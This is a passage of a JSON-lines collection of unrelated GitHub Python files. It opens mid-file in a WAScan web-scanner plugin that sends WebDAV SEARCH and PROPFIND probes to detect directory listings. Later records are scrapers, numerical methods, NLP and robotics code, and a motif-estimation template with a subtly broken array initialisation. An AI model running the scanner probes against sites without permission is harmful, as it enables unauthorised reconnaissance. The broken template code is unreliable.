'DAV:displayname' from scope()\\r\\n\"\n\t\tcontent += \"</g:sql>\\r\\n\"\n\t\tcontent += \"</g:searchrequest>\\r\\n\"\n\t\t# send request \n\t\treq = self.Send(url=self.url,method=self.m_search,data=content,headers=headers)\n\t\t# regenx\n\t\tregexp = r\"<a:response>|<a:status>|xmlns:a=\\\"DAV:\\\"\"\n\t\tif search(regexp,req.content) and req.code == 200:\n\t\t\tplus('A potential DAV directory listing with HTTP search method at: %s'%(req.url))\n\n\tdef profind(self):\n\t\t# headers \n\t\theaders = {\n\t\t\t\t\t'Depth' : 1,\n\t\t\t\t\t'Content-Type':self.cotent_type\n\t\t}\n\t\t# content data\n\t\tcontent = \"<?xml version='1.0'?>\\r\\n\"\n\t\tcontent += \"<a:propfind xmlns:a='DAV:'>\\r\\n\"\n\t\tcontent += \"<a:prop>\\r\\n\"\n\t\tcontent += \"<a:displayname:/>\\r\\n\"\n\t\tcontent += \"</a:prop>\\r\\n\"\n\t\tcontent += \"</a:propfind>\\r\\n\"\n\t\t# send request \n\t\treq = self.Send(url=self.url,method=self.m_profind,data=content,headers=headers)\n\t\tif 'D:href' in req.content and req.code == 200:\n\t\t\tplus('A potential DAV directory listing with HTTP profind method at: %s'%(req.url))","repo_name":"aiddroid/WAScan","sub_path":"plugins/audit/dav.py","file_name":"dav.py","file_ext":"py","file_size_in_byte":1842,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"29"} +{"seq_id":"32832368017","text":"import math\n\n# Example 1:\ndef root_finding_method(f, epsilon=1E-5):\n \n print(\"\\nBisection Method\")\n print(120 * \"=\")\n \n print(\"Input two initial values: \")\n x_01 = float(input(\"x_1 = \"))\n x_02 = float(input(\"x_2 = \"))\n \n x_left = x_01\n x_right = x_02\n counter = 0\n \n while True:\n x_mid = (x_right + x_left) / 2\n \n f_left = f(x_left)\n f_right = f(x_right)\n f_mid = f(x_mid)\n \n counter += 1\n \n if abs(f_mid) < epsilon:\n print(f\"\\nRoot solution of the equation f(x) = 0 is x = {x_mid} \\nIt took {counter} iterations.\")\n break \n \n elif f_left * f_mid < 0:\n x_right = x_mid\n \n elif f_mid * f_right< 0:\n x_left = x_mid\n \n else:\n print(f\"No roots (or there are even roots) of the equation f(x) = 0 between the initial values x1 = {x_01} and x2 = {x_02}\")\n while True:\n choice = input(\"Do you want to try with new values? [Y/N] \")\n if choice.lower() in [\"yes\", \"y\"]:\n root_finding_method(f)\n return None\n elif choice.lower() in [\"no\", \"n\"]:\n break\n break \n \n print(120 * \"=\")\n\n","repo_name":"bearzeze/Numerical-Methods-in-Python","sub_path":"Section 1 - Roots of High-Degree Equations/bisection.py","file_name":"bisection.py","file_ext":"py","file_size_in_byte":1329,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"74905500878","text":"import os\nimport subprocess\nfrom ctypes import RTLD_LOCAL, RTLD_GLOBAL\n\n\nclass LibraryMeta(type):\n\n def __call__(cls, name, mode=RTLD_LOCAL, nm=\"nm\"):\n\n if os.name == \"nt\":\n from ctypes import WinDLL\n # WinDLL does demangle the __stdcall names, so use that.\n return WinDLL(name, mode=mode)\n if os.path.exists(name) and mode != RTLD_GLOBAL and nm is not None:\n # Use 'nm' on Unixes to load native and cross-compiled libraries\n # (this is only possible if mode != RTLD_GLOBAL)\n return super(LibraryMeta, cls).__call__(name, nm)\n from ctypes import CDLL\n from ctypes.util import find_library\n path = find_library(name)\n if path is None:\n # Maybe 'name' is not a library name in the linker style,\n # give CDLL a last chance to find the library.\n path = name\n return CDLL(path, mode=mode)\n\n\nclass Library(metaclass=LibraryMeta):\n\n def __init__(self, filepath, nm):\n self._filepath = filepath\n self._name = os.path.basename(self._filepath)\n self.__symbols = {}\n self._get_symbols(nm)\n\n # nm will print lines like this:\n # <addr> <kind> <name>\n def _get_symbols(self, nm):\n cmd = [nm, \"--dynamic\", \"--defined-only\", self._filepath]\n output = subprocess.check_output(cmd, universal_newlines=True)\n for line in output.split('\\n'):\n fields = line.split(' ', 2)\n if len(fields) >= 3 and fields[1] in (\"T\", \"D\", \"G\", \"R\", \"S\"):\n self.__symbols[fields[2]] = fields[0]\n\n def __getattr__(self, name):\n try:\n return self.__symbols[name]\n except KeyError:\n pass\n raise AttributeError(name)\n\n\n","repo_name":"trolldbois/ctypeslib","sub_path":"ctypeslib/library.py","file_name":"library.py","file_ext":"py","file_size_in_byte":1770,"program_lang":"python","lang":"en","doc_type":"code","stars":169,"dataset":"github-code","pt":"29"} +{"seq_id":"9101997704","text":"import csv\nimport sys\nimport billboard\nimport datetime\nimport asyncio\n\ncharts_data = {}\n\nasync def add_chart(chart_name, date):\n chart = billboard.ChartData(chart_name, date=date)\n for song in chart:\n if (song.title, song.artist) not in charts_data:\n charts_data[(song.title, song.artist)] = {}\n charts_data[(song.title, song.artist)][date] = song.rank\n print(date)\n\nasync def main(chart_names, beg_date, end_date):\n date = datetime.datetime.fromisoformat(end_date)\n date_f = date.strftime(\"%Y-%m-%d\")\n week = datetime.timedelta(days=7)\n dates = []\n\n while date_f > beg_date:\n dates.append(date_f)\n date -= week\n date_f = date.strftime(\"%Y-%m-%d\")\n\n for chart_name in chart_names:\n await asyncio.gather(*(add_chart(chart_name,i) for i in dates))\n\n result = [['title', 'artist']+[date for date in dates]+['count']]\n date2index = {key:value for key,value in [(date,result[0].index(date)) for date in dates]}\n\n for k, v in charts_data.items():\n new_row = [k[0], k[1]] + [-1]*len(dates)\n for d, r in v.items():\n new_row[date2index[d]] = r\n new_row.append(sum(i > -1 for i in new_row[2:]))\n result.append(new_row)\n\n with open(\"billboard.csv\", \"w\", newline='') as f:\n writer = csv.writer(f, delimiter=',')\n writer.writerows(result)\n\nif __name__ == \"__main__\":\n asyncio.run(main([\"hot-100\"],sys.argv[1],sys.argv[2]))","repo_name":"trevbook/Hit-Song-Predictor","sub_path":"Task 1 - Data Collection/Scripts/billboard_scraper.py","file_name":"billboard_scraper.py","file_ext":"py","file_size_in_byte":1457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"32057846910","text":"# Given a signed 32-bit integer x, return x with its digits reversed. If reversing x causes the value to go outside the signed 32-bit integer range [-231, 231 - 1], then return 0.\n\n# Assume the environment does not allow you to store 64-bit integers (signed or unsigned).\n\n \n\n# Example 1:\n\n# Input: x = 123\n# Output: 321\n# Example 2:\n\n# Input: x = -123\n# Output: -321\n# Example 3:\n\n# Input: x = 120\n# Output: 21\n \n\n# Constraints:\n\n# -231 <= x <= 231 - 1\n\n\n# https://leetcode.com/problems/reverse-integer/description/\n\nclass Solution:\n def reverse(self, x: int) -> int:\n if x < 0:\n x = x*-1 # Simplify negation by using the unary operator\n\n # Convert x to a string, reverse it, and add '-' at the beginning\n\n reversed_str = '-' + str(x)[::-1]\n\n # Convert the reversed string back to an integer\n reversed_x = int(reversed_str)\n\n # Check for overflow, as specified in the problem\n if reversed_x < -2**31:\n return 0\n return reversed_x\n else:\n # Convert x to a string, reverse it\n reversed_str = str(x)[::-1]\n\n # Convert the reversed string back to an integer\n reversed_x = int(reversed_str)\n\n # Check for overflow, as specified in the problem\n if reversed_x > 2**31 - 1:\n return 0\n return reversed_x\n","repo_name":"ABDURRAFAY360/leetcode","sub_path":"reverse_integer.py","file_name":"reverse_integer.py","file_ext":"py","file_size_in_byte":1409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"40942088394","text":"# coding=UTF-8\n\nimport os\nfrom pymongo import MongoClient\n\n\nclass DataManager(object):\n\n def __init__(self):\n self._mkdatadir()\n\n @staticmethod\n def _mkdatadir():\n \"\"\"创建DATA文件夹存放数据\"\"\"\n if not os.path.exists('DATA'):\n os.makedirs('DATA')\n\n return\n\n def data_save(self, data, dbname, colname):\n \"\"\"\n 存储数据到mongodb\n :param data: 需要储存的内容\n :param dbname: 数据库名称\n :param colname: 集合名称\n :return:\n \"\"\"\n try:\n client = MongoClient('localhost', 27017)\n db = client[dbname]\n col = db[colname]\n if data:\n col.insert(data)\n except Exception as e:\n print('[error] %s' % e)\n return\n\n def date_read(self, dbname, colname):\n \"\"\"\n 从mongodb中读取数据\n :param dbname: 数据库名称\n :param colname: 集合名称\n :return: 结果数据的cursor游标\n \"\"\"\n try:\n client = MongoClient('localhost', 27017)\n db = client[dbname]\n col = db[colname]\n cur = col.find({}, {'_id': 0}, no_cursor_timeout=True)\n return cur\n except Exception as e:\n print('[error] %s' % e)\n\n return","repo_name":"myirelias/TransferStation","sub_path":"ct/ControlNode/manager_data.py","file_name":"manager_data.py","file_ext":"py","file_size_in_byte":1342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"38361708576","text":"# -*- coding: utf-8 -*-\n\n\nimport os\nimport requests\nfrom bs4 import BeautifulSoup\nimport pandas as pd\nimport numpy as np\nimport time\nfrom tqdm import tqdm\nfrom datetime import date\nfrom datetime import timedelta\n\npd.set_option('display.max_columns', 10)\n\n\nwd=os.path.abspath('C://Users//Mariko//Documents//GitHub//Remote_Careers-DATS6401')\nos.chdir(wd)\n\n\ntoday = date.today()+ + timedelta(days=1)\n\n#%%\n\ndef make_url(title_str, city_str, radius=10):\n \"\"\"\n Creates an indeed job search url based on input variables\n \n title_str: The job title to search for, as string\n city_str: The name of the city to search for, as string\n radius: The radius around the city to search\n \"\"\"\n \n title_str=title_str.replace(' ', '+')\n city_str=city_str.replace(' ', '+')\n \n url='https://www.indeed.com/jobs?as_and='+title_str+'&radius='+str(radius)+'&l='+city_str+'&fromage=15&limit=50&filter=0&psf=advsrch&forceLocation=1&from=advancedsearch'\n \n return url\n \n#page_url = make_url('system admin', 'Seattle', radius=10)\n\n\n\n\n\ndef search_page_downloader(page_url):\n \"\"\"\n Download all the jobs in the search page, extract all needed tags from the miniature posting\n Downloads all jobs and returns a dataframe with all information\n \n page_url: The search URL created with make_url\n \"\"\"\n \n #Download the page\n page = requests.get(page_url)\n soup = BeautifulSoup(page.content, 'html.parser')\n \n \n #Isolate the job search result cards\n results =soup.find_all('div', {'class':'jobsearch-SerpJobCard unifiedRow row result'})\n \n #Data collection list\n data=[]\n \n #For each result, extract all desired information\n for result in results:\n \n try: #This will always find a job title, unless there were no postings for that search\n job_title = result.find('h2').find('a')['title']\n except:\n job_title = 'ERROR'\n \n if job_title == 'ERROR':\n print(f'ERROR with:\\n {page_url}')\n continue # Catches the error and quits the loop\n \n try:\n stars=result.find('span', {'class':'ratingsContent'}).get_text().strip()\n except:\n stars=np.nan\n try:\n company = result.find('span', {'class':'company'}).get_text().strip()\n except:\n company = 'ERROR'\n \n if company == 'ERROR':\n print(f'ERROR with:\\n {page_url}')\n continue # Catches the error and quits the loop\n try:\n location = result.find('div', {'class':'recJobLoc'})['data-rc-loc'].strip()\n except:\n location = 'ERROR'\n \n if location == 'ERROR':\n print(f'ERROR with:\\n {page_url}')\n continue # Catches the error and quits the loop\n try:\n wage=result.find('span', {'class':'salaryText'}).get_text().strip()\n except:\n wage='Unknown'\n \n try: \n remote=result.find('span', {'class':'remote'}).get_text().strip() \n except:\n remote='Not Remote'\n \n #Aggregate the extracted variables\n data.append(pd.Series(data={'Title':job_title, 'Company':company, 'Stars':stars, 'Location':location, 'Wage':wage, 'Remote':remote}))\n\n #Aggrigate all postings and return\n data=pd.DataFrame(data)\n \n return data\n\n\n\n#%%\n\n# Load and filter the cities in each US state\ncities= pd.read_excel('.//Data//Job_Titles.xlsx', )\ncities=cities[~cities.State.isin([' American Samoa', ' Guam', ' Northern Mariana Islands', ' Puerto Rico', ' Virgin Islands (U.S.)'])]\ncities.reset_index(drop=True, inplace=True)\n\n\n# Load The Sampled and Cleaned Occupations\njobs= pd.read_excel('.//Data//Modified_Jobs2.xlsx', )\njobs.rename(columns={0:'Category', 1:\"JobTitle\"}, inplace=True)\n\n\n\n\n#Loop through all occupations and all cities, downloading top 50 most relevant job posts within 10 miles\nfor k in range(0,cities.shape[0]):\n\n \n city=cities['Third Most'][k]\n state=cities.State[k]\n job_collect=[]\n \n if city is np.nan:\n continue\n \n print(f'\\n\\nNow working on {city}, {state}.\\n\\n')\n \n for i in tqdm(range(jobs.shape[0])):\n \n page_url=make_url(jobs.JobTitle[i], city, radius=10)\n x=search_page_downloader(page_url)\n \n x.insert(column='SearchTitle', loc=0, value=jobs.JobTitle[i])\n x.insert(column='Category', loc=0, value=jobs.Category[i])\n x.insert(column='SearchCity', loc=0, value=city)\n x.insert(column='SearchState', loc=0, value=state)\n \n \n job_collect.append(x)\n \n #Sleep to reduce rates of captcha\n time.sleep(np.random.random_sample()*6)\n \n \n #End of the State, save the result in case of crash or captcha\n job_collect_df=pd.concat(job_collect)\n job_collect_df.to_csv('.//Data//'+state+' '+str(today)+'.csv')\n \n print('\\n\\n\\nWaiting........\\n\\n\\n')\n time.sleep(np.random.random_sample()*14)\n","repo_name":"m-mcdougall/Remote_Careers-DATS6401","sub_path":"Websraper.py","file_name":"Websraper.py","file_ext":"py","file_size_in_byte":5027,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"8434119125","text":"import json \n\nimport numpy as np\n \nimport argparse \n\n \n# Musimy wczytać parametry\n\ndef ParseArguments():\n parser = argparse.ArgumentParser(description=\"Motif generator\")\n parser.add_argument('--input', default=\"generated_data.json\", required=False, help='Plik z danymi (default: %(default)s)')\n parser.add_argument('--output', default=\"estimated_params.json\", required=False, help='Tutaj zapiszemy wyestymowane parametry (default: %(default)s)')\n parser.add_argument('--estimate-alpha', default=\"no\", required=False, help='Czy estymowac alpha czy nie? (default: %(default)s)')\n args = parser.parse_args()\n return args.input, args.output, args.estimate_alpha\n \n \ninput_file, output_file, estimate_alpha = ParseArguments()\n \n\n\nwith open(input_file, 'r') as inputfile:\n data = json.load(inputfile)\n \n \n \nalpha=data['alpha']\nX= np.asarray(data['X'])\nk,w = X.shape\n\n\n# TO DO: GLOWNA CZESC: Wyestymuj Theta, ThetaB za pomoca EM i zapisz do output_file \n# Theta0 = wektor rozmiaru w\n# Theta = macierz rozmiaru d na w = 4 na w\n# przyklad losowy\nThetaB=np.zeros(4)\nThetaB[:(4-1)]=np.random.rand(4-1)/4\nThetaB[4-1]=1-np.sum(ThetaB)\n\nTheta = np.zeros((4,w))\nTheta[:(w),:]=np.random.random((3,w))/w\nTheta[w,:]=1-np.sum(Theta,axis=0)\n\n\n# ZADANIE BONUSOWE: jeśli estimate_alpha==\"yes\", to wtedy\n# trzeba również estymować alpha (zignorować inormację otrzymaną z input_file)\n\nestimated_params = {\n \"alpha\" : alpha, # \"przepisujemy\" to alpha, one nie bylo estymowane \n \"Theta\" : Theta.tolist(), # westymowane\n \"ThetaB\" : ThetaB.tolist() # westymowane\n }\n\nwith open(output_file, 'w') as outfile:\n json.dump(estimated_params, outfile)\n \n \n \n","repo_name":"dmika1234/mocadr_proj2","sub_path":"motif_123456_estimate.py","file_name":"motif_123456_estimate.py","file_ext":"py","file_size_in_byte":1699,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"11973416521","text":"\"\"\"\n对英文文档进行预处理包括:\n1,分句\n2,标准化\n3,分词(to be done)\n4,去停用词\n5,提取词干\n6,提取地名\n\"\"\"\nimport nltk\nimport string\nimport unicodedata\nfrom nltk.tokenize import sent_tokenize, word_tokenize\nfrom nltk.corpus import stopwords\n\n__all__ = ['EnglishSentence']\nen_stopwords = list(stopwords.words('english')) + \\\n [punc for punc in string.punctuation.split() if punc not in [\n '-']] + [\".\"]\nstemmer = nltk.stem.SnowballStemmer('english')\n\n\nclass EnglishSentence:\n def __init__(self, text=None):\n if isinstance(text, list):\n self._sentences = [self._normalize(sentence) for sentence in text]\n elif isinstance(text, str):\n self._sentences = [self._normalize(sentence) for sentence in sent_tokenize(text)]\n else:\n raise Exception(\"text should be list of string or string\")\n\n self._words_full = [self._word_tokenize(\n sentence) for sentence in self._sentences]\n self._words = [[word for word in sentence if word not in en_stopwords]\n for sentence in self._words_full]\n # self._words = [ word for sentence in self._words_full for word in sentence if word not in en_stopwords]\n # self._stems = [stemmer.stem(word) for sentence in self._words for word in sentence]\n self._stems = [[stemmer.stem(word) for word in sentence]\n for sentence in self._words]\n\n def _word_tokenize(self, sentence):\n if isinstance(sentence, list):\n return sentence\n elif isinstance(sentence, str):\n return word_tokenize(sentence)\n else:\n raise Exception(\"sentence should be list of str or str\")\n\n def _normalize(self, c_str):\n if not c_str:\n return ''\n c_str = unicodedata.normalize('NFD', c_str)\n return ''.join(c for c in c_str if not unicodedata.combining(c))\n\n @property\n def words(self):\n \"\"\"获取单词\n \"\"\"\n return self._words\n\n @property\n def words_full(self):\n \"\"\"全部单词\n \"\"\"\n return self._words_full\n\n @property\n def sentences(self):\n \"\"\"获取句���\n \"\"\"\n return self._sentences\n\n @property\n def stems(self):\n \"\"\"获取词干\n \"\"\"\n return self._stems\n\n # to be done\n @property\n def places(self):\n \"\"\"获取地点\n \"\"\"\n pass\n\n # to be done\n @property\n def entities(self):\n \"\"\"获取实体\n \"\"\"\n pass\n\n @property\n def corpus(self):\n return self._sentences","repo_name":"Will-Holden/mynlp","sub_path":"mynlp/preprocess/englishprocess.py","file_name":"englishprocess.py","file_ext":"py","file_size_in_byte":2682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"8232686456","text":"import time\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\nimport pandas as pd\n\ndata = pd.read_excel('data_read/challenge.xlsx')\n\nfields = ['labelFirstName', 'labelLastName', 'labelCompanyName', 'labelRole', 'labelAddress',\n 'labelEmail', 'labelPhone']\ndata.columns = fields\n\ndriver = webdriver.Chrome()\ndriver.get('https://www.rpachallenge.com/')\n\ndriver.find_element(By.XPATH, \"//button[@class='waves-effect col s12 m12 l12 btn-large uiColorButton']\")\\\n .send_keys(Keys.RETURN)\n\nfor i in range(len(data)):\n for j in range(len(fields)):\n driver.find_element(By.XPATH, f\"//input[@ng-reflect-name='{fields[j]}']\")\\\n .send_keys(str(data[fields[j]][i]))\n driver.find_element(By.XPATH, \"//input[@type='submit']\").send_keys(Keys.RETURN)\n\ntime.sleep(10)\n","repo_name":"AnyaChickenMcnuggets/SeleniumRPAChallenge","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":861,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"29"} +{"seq_id":"39814023606","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Aug 4 00:45:53 2018\r\n\r\n@author: Tyler\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport matplotlib\r\nimport matplotlib.pyplot as plt\r\n\r\nclass SurfaceRobot:\r\n def __init__(self,X,Y):\r\n self.state = np.empty((2,1))\r\n self.state[0,0] = X\r\n self.state[1,0] = Y\r\n \r\n self.input = np.empty((2,1))\r\n \r\n self.T = 0\r\n self.SigSend = 0\r\n \r\n def Move(self,Velocity,Angle,dt):\r\n self.input[0,0] = Velocity\r\n self.input[1,0] = Angle\r\n \r\n self.state[0,0] = self.state[0,0] + dt*(self.input[0,0] * np.cos(self.input[1,0]))\r\n self.state[1,0] = self.state[1,0] + dt* (self.input[0,0] * np.sin(self.input[1,0]))\r\n\r\nclass APF:\r\n def __init__(self,Sx,Sy,RobotRadius):\r\n self.surf = np.empty((2,1))\r\n self.surf[0,0] = Sx\r\n self.surf[1,0] = Sy\r\n self.Rr = RobotRadius\r\n self.Xgrad = 0\r\n self.Ygrad = 0\r\n #obstacle gradients\r\n self.OXgrad = 0\r\n self.OYgrad = 0\r\n #Total Gradients\r\n self.TXgrad = 0\r\n self.TYgrad = 0\r\n self.OsumX = 0\r\n self.OsumY = 0\r\n \r\n def StateUpdate(self,Sx,Sy):\r\n self.surf[0,0] = Sx\r\n self.surf[1,0] = Sy\r\n \r\n def GradCalcGoal(self,Rx,Ry,ScaleFact,Spread):\r\n dist = np.sqrt((Rx - self.surf[0,0])**2 + (Ry - self.surf[1,0])**2)\r\n Temp = (Ry - self.surf[1,0])/(Rx - self.surf[0,0])\r\n angle = np.arctan2((Ry - self.surf[1,0]),(Rx - self.surf[0,0])) #Changed to ARCTAN2\r\n Sf = ScaleFact\r\n s = Spread\r\n \r\n if dist < self.Rr:\r\n self.Xgrad = 0\r\n self.Ygrad = 0\r\n \r\n elif self.Rr <= dist and dist <= (s + self.Rr):\r\n self.Xgrad = Sf * ((dist - self.Rr) * np.cos(angle))\r\n self.Ygrad = Sf * ((dist-self.Rr) * np.sin(angle))\r\n \r\n elif dist > (s + self.Rr):\r\n self.Xgrad = Sf *(s * np.cos(angle))\r\n self.Ygrad = Sf *(s * np.sin(angle))\r\n \r\n def GradCalcOb (self,NObs,ObsX, ObsY, ObsR, ScaleFact, Spread):\r\n self.OsumX = 0\r\n self.OsumY = 0\r\n \r\n self.Obs = np.empty((NObs,5))\r\n #set the obstacles up\r\n for i in range(0,(NObs)):\r\n self.Obs[i,0] = ObsX[i]\r\n self.Obs[i,1] = ObsY[i]\r\n self.Obs[i,2] = ObsR[i]\r\n self.Obs[i,3] = ScaleFact[i]\r\n self.Obs[i,4] = Spread[i]\r\n \r\n for i in range (0,(NObs)):\r\n Odist = np.sqrt((self.Obs[i,0] - self.surf[0,0])**2 + (self.Obs[i,1] - self.surf[1,0])**2)\r\n OTemp = (self.Obs[i,1] - self.surf[1,0])/(self.Obs[i,0] - self.surf[0,0])\r\n \r\n Oangle = np.arctan2((self.Obs[i,1] - self.surf[1,0]),(self.Obs[i,0] - self.surf[0,0]))\r\n OSf = self.Obs[i,3]\r\n Inf = 100000\r\n Os = self.Obs[i,4]\r\n \r\n if Odist < self.Obs[i,2]:\r\n self.OXgrad = -(np.sign(np.cos(Oangle) * Inf))\r\n self.OYgrad = -(np.sign(np.sin(Oangle) * Inf))\r\n \r\n elif self.Obs[i,2] <= Odist and Odist <= (Os + self.Obs[i,2]):\r\n self.OXgrad = -OSf * ((Os + self.Obs[i,2] - Odist) * np.cos(Oangle))\r\n self.OYgrad = -OSf * ((Os + self.Obs[i,2] - Odist) * np.sin(Oangle))\r\n \r\n elif Odist > (Os + self.Obs[i,2]):\r\n self.OXgrad = 0\r\n self.OYgrad = 0\r\n \r\n \r\n self.OsumX += self.OXgrad\r\n self.OsumY += self.OYgrad\r\n \r\n def CalcOutput(self):\r\n Atemp = 0\r\n \r\n self.Angle = 0\r\n self.TXgrad = self.Xgrad + self.OsumX \r\n self.TYgrad = self.Ygrad + self.OsumY \r\n #Set TXgrad and TYgrad to minimal value to avoid division by 0\r\n if self.TXgrad == 0:\r\n self.TXgrad = 0.0000001\r\n if self.TYgrad == 0:\r\n self.TYgrad = 0.0000001\r\n #self.TXgrad = np.round(self.TXgrad,decimals = 2)\r\n #self.TYgrad = np.round(self.TYgrad,decimals = 2)\r\n \r\n self.Velocity = np.sqrt((self.TXgrad)**2 + (self.TYgrad)**2)\r\n Atemp = (self.TYgrad/self.TXgrad)\r\n self.Angle = np.rad2deg(np.round(np.arctan2(self.TYgrad,self.TXgrad),decimals = 2))\r\n \r\n\r\n\r\n\"\"\"\r\n \r\n\r\nS = SurfaceRobot(0,10) \r\nA = APF(S.state[0,0],S.state[1,0], 0.2)\r\n\r\nplt.plot(30,0,'ko',markersize = 10)\r\nplt.plot(10,6,'co',markersize = 10)\r\nplt.plot(17,5,'ro',markersize =10)\r\n#plt.plot(24,3,'ro',markersize =10)\r\nplt.plot(S.state[0,0],S.state[1,0],'g*') \r\n\r\nlogx = []\r\nlogy = []\r\n\r\nfor i in range(0,200):\r\n \r\n A.GradCalcGoal(30,0,1,)\r\n A.GradCalcOb(2,[10,17],[6,5],[1,1], [1,1],[1,1]) \r\n A.CalcOutput()\r\n \r\n \r\n #print((np.rad2deg(A.Angle)), A.Velocity, A.TXgrad, A.TYgrad)\r\n \r\n S.Move(A.Velocity,A.Angle,1)\r\n A.StateUpdate(S.state[0,0],S.state[1,0])\r\n logx.append(S.state[0,0])\r\n logy.append(S.state[1,0])\r\n \r\n\r\n \r\n #plt.plot(S.state[0,0],S.state[1,0],'b*')\r\n #plt.plot(S.state[0,0],S.state[1,0],'go--', linewidth=0.5, markersize=3)\r\n\r\n \r\n\r\nsmoothx = []\r\nsmoothy = []\r\nfor i in range (0,100):\r\n if i == 0:\r\n Sx = (logx[i] + logx[i+1] + logx[i+2])/3\r\n Sy =(logy[i] + logy[i+1] + logy[i+2])/3\r\n elif i > 1 and i < 98:\r\n Sx = (logx[i-2] + logx[i-1]+logx[i] + logx[i+1] + logx[i+2])/5\r\n Sy =(logy[i-2] + logy[i-1]+ logy[i] +logy[i+1] + logy[i+2])/5\r\n elif i == 100:\r\n Sx =(logx[i] + logx[i-1] + logy[i-2])/3\r\n Sy = (logy[i] + logy[i-1] + logy[i-2])/3\r\n smoothx.append(Sx)\r\n smoothy.append(Sy) \r\n\r\nplt.plot(smoothx,smoothy,'b--', linewidth=0.5, markersize=3)\r\n\r\nplt.show()\r\n\"\"\"\r\n\r\n\r\n\r\n ","repo_name":"Tylerg2471/MSC-Python-Files","sub_path":"APF.py","file_name":"APF.py","file_ext":"py","file_size_in_byte":5754,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"1721597871","text":"\"\"\"\n...\n\"\"\"\n\nimport platform\n\nimport pickle\nimport biorbd_casadi as biorbd\nimport matplotlib.pyplot as plt\nimport casadi as cas\nimport numpy as np\nimport scipy\nfrom IPython import embed\n\nfrom utils import CoM_over_toes\n\nimport sys\n\nsys.path.append(\"/home/charbie/Documents/Programmation/BiorbdOptim\")\nfrom bioptim import (\n OptimalControlProgram,\n StochasticOptimalControlProgram,\n InitialGuessList,\n ObjectiveFcn,\n Solver,\n StochasticBiorbdModel,\n StochasticBioModel,\n ObjectiveList,\n NonLinearProgram,\n DynamicsEvaluation,\n DynamicsFunctions,\n ConfigureProblem,\n DynamicsList,\n BoundsList,\n InterpolationType,\n PenaltyController,\n Node,\n ConstraintList,\n ConstraintFcn,\n MultinodeConstraintList,\n MultinodeObjectiveList,\n BiMappingList,\n DynamicsFcn,\n Axis,\n OdeSolver,\n SocpType,\n CostType,\n VariableScalingList,\n ControlType,\n BiorbdModel,\n)\n\n\ndef sensory_reference(\n time: cas.MX | cas.SX,\n states: cas.MX | cas.SX,\n controls: cas.MX | cas.SX,\n parameters: cas.MX | cas.SX,\n stochastic_variables: cas.MX | cas.SX,\n nlp: NonLinearProgram,\n):\n \"\"\"\n This functions returns the sensory reference for the feedback gains.\n The feedback is vestibular (position and velocity of the head linked to the pelvis)\n and proprioceptive (position and velocity of the joints).\n \"\"\"\n q_roots = states[nlp.states[\"q_roots\"].index]\n q_joints = states[nlp.states[\"q_joints\"].index]\n qdot_roots = states[nlp.states[\"qdot_roots\"].index]\n qdot_joints = states[nlp.states[\"qdot_joints\"].index]\n vestibular_and_joints_feedback = cas.vertcat(\n q_joints, qdot_joints, cas.reshape(q_roots[2], (1, -1)), cas.reshape(qdot_roots[2], (1, -1))\n )\n return vestibular_and_joints_feedback\n\n\ndef reach_landing_position_consistantly(controller: PenaltyController) -> cas.MX:\n \"\"\"\n Constraint the hand to reach the target consistently.\n This is a multi-node constraint because the covariance matrix depends on all the precedent nodes, but it only\n applies at the END node.\n \"\"\"\n n_q = controller.model.nb_q\n n_root = controller.model.nb_root\n n_joints = n_q - n_root\n Q_root = cas.MX.sym(\"q_root\", n_root)\n Q_joints = cas.MX.sym(\"q_joints\", n_joints)\n Qdot_root = cas.MX.sym(\"qdot_root\", n_root)\n Qdot_joints = cas.MX.sym(\"qdot_joints\", n_joints)\n\n cov_sym = cas.MX.sym(\"cov\", controller.model.matrix_shape_cov[0] * controller.model.matrix_shape_cov[1])\n cov_matrix = StochasticBioModel.reshape_to_matrix(cov_sym, controller.model.matrix_shape_cov)\n\n # What should we use as a reference?\n CoM_pos = controller.model.center_of_mass(cas.vertcat(Q_root, Q_joints))[:2]\n CoM_vel = controller.model.center_of_mass_velocity(\n cas.vertcat(Q_root, Q_joints), cas.vertcat(Qdot_root, Qdot_joints)\n )[:2]\n CoM_ang_vel = controller.model.body_rotation_rate(\n cas.vertcat(Q_root, Q_joints), cas.vertcat(Qdot_root, Qdot_joints)\n )[0]\n\n jac_CoM_q = cas.jacobian(CoM_pos, cas.vertcat(Q_root, Q_joints))\n jac_CoM_qdot = cas.jacobian(CoM_vel, cas.vertcat(Q_root, Q_joints, Qdot_root, Qdot_joints))\n jac_CoM_ang_vel = cas.jacobian(CoM_ang_vel, cas.vertcat(Q_root, Q_joints, Qdot_root, Qdot_joints))\n\n P_matrix_q = cov_matrix[:n_q, :n_q]\n P_matrix_qdot = cov_matrix[:, :]\n\n pos_constraint = jac_CoM_q @ P_matrix_q @ jac_CoM_q.T\n vel_constraint = jac_CoM_qdot @ P_matrix_qdot @ jac_CoM_qdot.T\n rot_constraint = jac_CoM_ang_vel @ P_matrix_qdot @ jac_CoM_ang_vel.T\n\n out = cas.vertcat(\n pos_constraint[0, 0], pos_constraint[1, 1], vel_constraint[0, 0], vel_constraint[1, 1], rot_constraint[0, 0]\n )\n\n fun = cas.Function(\"reach_target_consistantly\", [Q_root, Q_joints, Qdot_root, Qdot_joints, cov_sym], [out])\n val = fun(\n controller.states[\"q_roots\"].cx_start,\n controller.states[\"q_joints\"].cx_start,\n controller.states[\"qdot_roots\"].cx_start,\n controller.states[\"qdot_joints\"].cx_start,\n 